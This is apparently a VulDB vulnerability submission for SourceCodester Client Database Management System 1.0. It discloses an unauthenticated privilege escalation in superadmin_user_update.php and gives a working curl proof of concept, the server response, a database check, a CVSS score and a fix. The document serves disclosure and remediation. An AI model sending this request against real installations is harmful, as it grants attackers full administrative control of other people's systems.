Submit #768195: SourceCodester Client Database Management System (CDMS) 1.0 Improper Handling of Insufficient Privileges

An unauthenticated attacker can send the following request:

curl -X POST http://127.0.0.1/cdm/superadmin_user_update.php \
-d "user_id=32" \
-d "firstname=Test" \
-d "lastname=User" \
-d "username=testuser" \
-d "role=superadmin" \
-d "department_assignment=IT" \
-d "id_number=ID999"

Server response:

{"status":"success","message":"User updated successfully!"}

Verification in database:

SELECT user_id, username, role FROM users WHERE user_id=32;

Result:

user_id | username | role
32 | testuser | superadmin

This confirms that privilege escalation is possible without authentication.

???? Impact

An attacker can:

Escalate privileges to superadmin

Modify or delete users

Delete managers

Manipulate system data

Gain full administrative control

This results in complete compromise of confidentiality, integrity, and availability.

???? CVSS v3.1 Vector
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Severity: Critical

???? Recommended Fix

Implement proper session validation and role-based access control:

Require authenticated session

Verify user role is superadmin

Reject unauthorized requests

Example:

include 'superadmin_session.php';

if ($_SESSION['role'] !== 'superadmin') {
exit('Unauthorized');
}

• Source: ⚠️ https://gist.github.com/Adarshh-A/77dedc295e377e0492d15071e9bb2498
• User: Adarsh007 (UID 95657)
• Submission: 02/26/2026 12:04 (2 months ago)
• Moderation: 03/07/2026 21:45 (9 days later)
• Status: Accepted
• VulDB entry: 349742 [SourceCodester Client Database Management System 1.0 superadmin_user_update.php improper authorization]
• Points: 20